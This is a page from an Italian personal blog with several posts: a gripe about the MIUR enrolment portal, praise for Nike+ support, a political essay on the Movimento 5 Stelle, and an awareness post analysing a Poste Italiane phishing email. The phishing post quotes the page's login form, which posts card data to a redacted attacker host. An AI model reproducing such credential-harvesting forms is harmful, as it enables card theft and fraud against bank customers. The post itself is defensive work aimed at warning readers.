Il taccuino di Armando Leotta Rotating Header Image

cronaca

MIUR iscrizione online 2016-2017. Ma che, davero davero? #MIUR #FAIL

Che io sia particolarmente pedante e polemico quando “mi metto di buzzo buono” è noto.

Stavolta però sono stato costretto mio malgrado.

Dal 16 gennaio è possibile registrarsi al portale MIUR per effettuare – a breve – le iscrizioni online.

Effettua la registrazione e compilo i primi campi del lungo modulo.

Codice Fiscale. Ok!

Serve a identificarmi univocamente! Non mi chiederà nulla che non si possa evincere da esso!

Codice fiscale

Sbagliato!

Chiede comunque la data di nascita, il luogo di nascita, il sesso.

Mi chiedo perchè abbiano chiesto come primissimo campo il codice fiscale per poi chiedermi tutti i dati di cui si compone.

Dai, sono polemico e stanco.

Andiamo avanti con gli altri campi: non vedo l’ora di arrivare alla mail così finalmente uso la PEC.

CECPAC o PEC purchè non la usi!

NISBA. La CECPAC (citofonoPA, ricordate?) e/o la PEC non sono strumenti adatti a dialogare con la PA. (EH?)

Fatemi controllare per bene i dati perchè…

eh

Non posso cambiarli?

Fatemi capire.

Niente utilizzo intelligente del codice fiscale.

Niente utilizzo della CECPAC.

Niente utilizzo della PEC.

Niente modifica dei dati del proprio profilo.

In compenso, però, abbiamo – sito MIUR, per intenderci – la bellezza di 3 punti esclamativi (!!!) – peccato, mancano gli 1 alternati, vabbè – e per non farci mancare nulla, le vocali accentate sono tutte apostrofi, da buon newbie anni ’90.

Iniziamo bene MIUR, ed è solo la registrazione dell’account. Incrociamo le dita per la scelta della scuola.

#FAIL

 

 

*** ADDENDUM ***

Il codice fiscale non è stato utilizzato nemmeno come login. Quindi?

Customer care Nike+: una piacevole sorpresa

Capita di avere un Nike+ Fuelband prima generazione, comprato allo store Nike di Londra in Oxfort Street.

Capita che l’acquisto avviene nella primavera di due anni fa.

fuelbandPurtroppo capita, ed è per questo che scrivo, che si rompa, non funzioni più il tasto nonostante “misuri” correttamente, si sincronizzi con le app e il portale.

Insomma, non interagisce più con me ma solo con le app (purtroppo sono egocentrico e pretendo attenzione dal fuelband 😉 ).

Dopo qualche ricerca sul loro portale scovo (sì, non è proprio evidente) un numero di telefono italiano per l’assistenza in lingua italiana.

Provo a chiamare, scettico e titubante.

Trovo Margherita, una simpatica e competente italiana che mi risponde da Amsterdam. Espletate le prime verifiche del caso, avvia immediatamente la richiesta di sostituzione in garanzia, previa verifica del guasto alla ricezione del dispositivo.

In pochi minuti avevo l’etichetta da mettere sul pacchetto da dare al corriere. Nel frattempo è arrivata l’autorizzazione pre-pagata per il suo coinvolgimento.

In meno di un’ora avevo prenotato il ritiro per l’indomani.

Dopo 24 ore dal ritiro vengo informato che è arrivato a destinazione.

A fine giornata mi arriva l’aggiornamento atteso:  guasto confermato, è stato spedito un nuovo dispositivo, chiaramente ULTIMO modello.

Nel frattempo sono in contatto con l’assistenza, l’aggiorno e mi rispondono (sia Margherita sia Elisa) sempre tempestivamente, con preparazione e cortesia: “entro il 18 arriverà sicuramente, non preoccuparti”.

Avete presente il servizio assistenza come vorreste che fosse?

Quello.

E’ arrivato venerdì 11, decisamente entro le stime.

E’ un modello di business funzionante.

E’ un mercato in crescita e con crescente concorrenza.

E’ costato non poco.

Hanno sicuramente un ritorno d’immagine e pubblicità gratuita, vera del passaparola degli utenti soddisfatti.

Ma è piacevole, funziona alla grande ed è fantastico ricevere un servizio d’assistenza così.

Grazie Margherita, grazie Elisa, “keep active“, avanzate un coffee ad Amsterdam alla prima occasione.

Grazie Nike, well done.

P.S. Adesso vado ad aggiornare il thread di assistenza, riportando che tutto è andato splendidamente, soprattutto l’assistenza. E informo loro del post che spero gradiranno.

Vogliamo guardare in faccia questo #phishing? Ancora #poste

Ancora una volta gli utenti di Poste Italiane sono le vittime di un attacco di phishing.

Una mail, una delle tante che arrivano e che non sono state rilevate dai sistemi di sicurezza?

Non propriamente “una delle tante”.

Guardiamola insieme: ecco come si presenta:

NOTA: tutti i link puntano a poste.it

NOTA: tutti i link puntano a poste.it (cliccare per ingrandire)

Perchè è “ben fatta”? Perchè tutti i link puntano al sito ufficiale di poste.it.

Ripeto per i lettori frettolosi.

Tutti i link puntano a poste.it: il login in alto a destra, il registrati, i banner in basso sia a sinistra che a destra.

Tutti.

Cosa non torna?

Per accedere ai servizi online nessuno si sognerebbe di chiedere i dati di carta di credito al completo (fullz, ndr)!

E’ il caso di controllare il sorgente di questo simpatico htm.

Bingo!

Vedete quel familiarissimo tasto “Accedi”?

_______<stralcio>____

Accedi ai Servizi Online </strong></p>

<form name=”loginform1″ method=”POST” onsubmit=”javascript: return logintest(this);” action=”http://www.XXXXXXXXXX.com/.XXXXXXXX/done.php“>

_______</stralcio>____

Che meravigliosa action!

Pertanto, chi inserisce le credenziali (leggasi i propri dati completi della carta di credito postepay / bancoposta comprensivo di cvv) per “accedere” ai servizi contatta tramite l’azione quel done.php.

Bene.

Verifichiamo cosa fa questo delizioso quanto inaspettato php.

Innanzitutto notiamo se c’è dell’altro sul sito per capire anche la dimensione del fenomeno.

Qui l’attaccante, per probabile dimenticanza o per poter usare la funzionalità con qualche bot, lascia la cartella XXXXXXXX con i permessi per il listing.

Quello che trovo è decisamente un arsenale di tool di attacchi e di spam. Il tutto sfruttabile via web sfruttando le risorse del malcapitato owner del sito web opportunamente bucato.

E non solo.

Trovo un file che non vorrei avere mai trovato.

Tornando sulla pagina incriminata,  scrivendo dei dati finti nella form e completando l’operazione cliccando su “Accedi” si ha l’ennesima triste evidenza: sul server XXXXXX un file è stato appena modificato.

E’ un innocente file di testo che contiene i dati delle carte di credito di tutti gli ignari ed ingenui malcapitati clienti di Postepay/Bancoposta, comprensi quelli fittizi appena inseriti come test.

Ovviamente ho rimosso il nome reale del sito in quanto è ancora raggiungibile.

Mentre vi scrivo ho già effettuato la segnalazione sul sito della Polizia di Stato.

Brutta storia.

Spero serva a riflettere.

#awareness is the key.

_____
Clusit

Generatore automatico di autopresentazioni neoparlamentari #m5s

Istruzioni: fare refresh per ottenere nuove autopresentazioni dei parlamentari del M5S



Se avete fantasia, suggerite sotto… 😉

Nota: fonte originale libernazione.it

Perchè, sotto sotto, dobbiamo tutti ringraziare gli ortotteri invasati #m5s #5stellology

Ho avuto modo di esprimere le mie opinioni sulle ultime elezioni più volte in più occasioni e mezzi.

Chi mi conosce, anche solo “digitalmente”, sa che avvertivo lo stesso pericolo e la stessa tensione sociale mesi e mesi prima del risultato elettorale.

Il potenziale risultato, a ben vedere (o a volerlo vedere), era già sotto gli occhi di tutti.

La gente è stanca e la pancia è vuota.

Fonte: Spectator.co.uk

Quando la pancia è vuota è più facile cadere nell’estremismo convinti dal non avere nulla da perdere.

La storia, ancora una volta, non ha insegnato nulla.

Questo contesto è stato ampiamente sfruttato da professionisti della comunicazione che sono riusciti, onore al merito, ad allocare spazi sociali che la vecchia politica faceva finta di ignorare.

Renzi, ad esempio, aveva centrato le esigenze e le contromisure ma il suo avanzare non è stato agevolato dal PD probabilmente perché timoroso di un eccessivo svecchiamento, per comodità, spocchia, opportunismo e miope autoreferenzialità.

Peccato, si è persa una chance.

Il movimento 5 stelle rappresenta, a mio avviso, una #5stellology, una #scientology politica, una sorta di fede indotta dal bombardamento mediatico urlato negli ultimi anni.

Non mi piace la presunta natura acefala, amorfa e nata dal basso.

I motivi

Tanto per cominciare perché NON è acefala (vedo almeno due teste più un aiutante di campo spuntato dal nulla e vestito a festa che pretendono di dover conferire con questa o con quella carica istituzionale) pertanto non è nemmeno informe.

Il fatto della democrazia diretta nata dal basso, nel modello #5stellology, significa sottoporre a “mi piaceet similia migliaia di video postati su un blog dagli aspiranti politici, anzi “cittadini”: non riesco a vedere come questo metodo possa essere utile a selezionare persone competenti, serie e capaci di governare un Paese specialmente in un contesto economico e sociale, nazionale e transfrontaliero di questi ultimi anni. Viceversa, a mio avviso, è un metodo efficace per meglio manovrare le persone che aderiscono all’esasperazione ostentata dal guru comico in tutte le occasioni.

Da notare come questa tipologia di recruitment consenta anche di non essere mai chiamato direttamente in causa per eventuali scelte sbagliate o future emorragie: “non li conosco e non si conoscono nemmeno tra loro: sono votati online“, come avrebbe già manifestato in più occasioni, come se fosse di per sè sinonimo di trasparenza (quando fa comodo) e  oggettivo e inconfutabile valore aggiunto.

Risultato

Dilettanti allo sbaraglio che si sono ritrovati loro malgrado in un modo dorato (sui tagli scriverò appositi approfondimenti che sto acquisendo nel frattempo anche da fonti interne), complesso per sua natura e delicatissimo per il contesto socio-economico nel quale sono chiamati ad operare.

Almeno sono puliti, sono facce nuove e sono sicuro che non sono i soliti che hanno ridotto l’Italia così“, rispondono prontamente all’unisono i nuovi fedeli invasati.

A mio avviso non basta essere un volto nuovo per essere quello giusto, non basta essere incensurato per fare di un cittadino qualunque un buon politico. Aggiungo che ci serve uno statista, nemmeno un politico: figurarsi se è il momento giusto di affidare un Paese ad incompetenti e apprendisti stregoni (sì, nel frattempo devono studiare anche se la Luiss chiama in causa smentisce, ndr).

E’ un po’ come conferire la cattedra di primario di cardiochirurgia con la riffa del paese: se avanza tempo si impegna a seguire tutte le puntate di Dr. House, in lingua originale, sin dalla prima serie. Almeno sono facce nuove.

Non basta, vi assicuro che non è sufficiente essere dotati di buona volontà (ammesso che sia questo lo spirito guida) ed essere onesti: conditio sine qua non, d’accordo, ma come punto di partenza, non certo d’arrivo.

Detto questo, perché dobbiamo ringraziare i nuovi fedeli?

Ripartiamo da qui.

Dati oggettivi, numerici e inconfutabili (analizzati con malizia, evidenzierebbero anche il motivo per cui i guru non hanno interesse a consentire nell’immediato la governabilità necessaria al Paese, ndr).

Se da una parte si conferma che agli italiani piace chi fa ridere, chi strilla e chi racconta loro balle, dall’altra non si può e non si deve ignorare la forte richiesta espressa: gli italiani sono stanchi. Purtroppo per diverse motivazioni più o meno strumentalizzate ma qualsiasi forza politica non può far finta di ignorare questo dato di fatto e di non governare tenendolo bene a mente.

Grazie ai “fedeli“, e non è ironia, nessuno può più ignorare che si è stanchi della vecchia politica inconcludente e spendacciona.

Diverse sono le idee strillate dai guru che sono assolutamente condivise e condivisibili. Il 25% degli italiani le ritengono talmente fondamentali da saltare nel vuoto sostenendo in coro l’assenza di alternative.

Cari politici, fornite CHIARAMENTE queste alternative. Renzi, sì ma è acqua passata ormai. Andiamo avanti.

 E’ l’unico modo per venirne fuori costruttivamente.

Pochi punti tra cui la pulizia della nuova politica, l’abbattimento dei suoi costi, la trasparenza dell’operato ed il limite di permanenza.

Abolizione di finanziamenti pubblici ai partiti e, chiaramente, riformare la legge elettorale.

Cari politici, dovete fornire risposte concrete a queste tematiche.

E’ l’ultima possibilità per dimostrare che non basta essere “puliti” per fare di un cittadino un buon politico. Chiaramente se non lo farete sarete complici di questo gioco al massacro.

Se non volete essere corresponsabili di trovarvi di fronte ad una nuova tornata elettorale dove potreste consegnare per un nuovo devastante ventennio il Paese a dei folli invasati e incompetenti, evitate governissimi in quanto mediaticamente saranno boomerang devastanti: sfidate il comico sul suo stesso campo con lo spessore e la trasparenza che queste argomentazioni meritano e date prova di essere Politici con la P maiuscola. Se poi uscisse anche un programma a medio-lungo termine da vero Statista sarebbe il massimo: sì perché di quello avremmo bisogno, non di pappagalli.

Dimenticavo: sfidarlo sui contenuti è l’unico modo per vedere se dietro il condivisibile “tutti a casa” c’era una vera richiesta di sensibilizzazione costruttiva di massa o, peggio, semplicemente l'”ARRENDETEVI”, un golpe travestito da democrazia.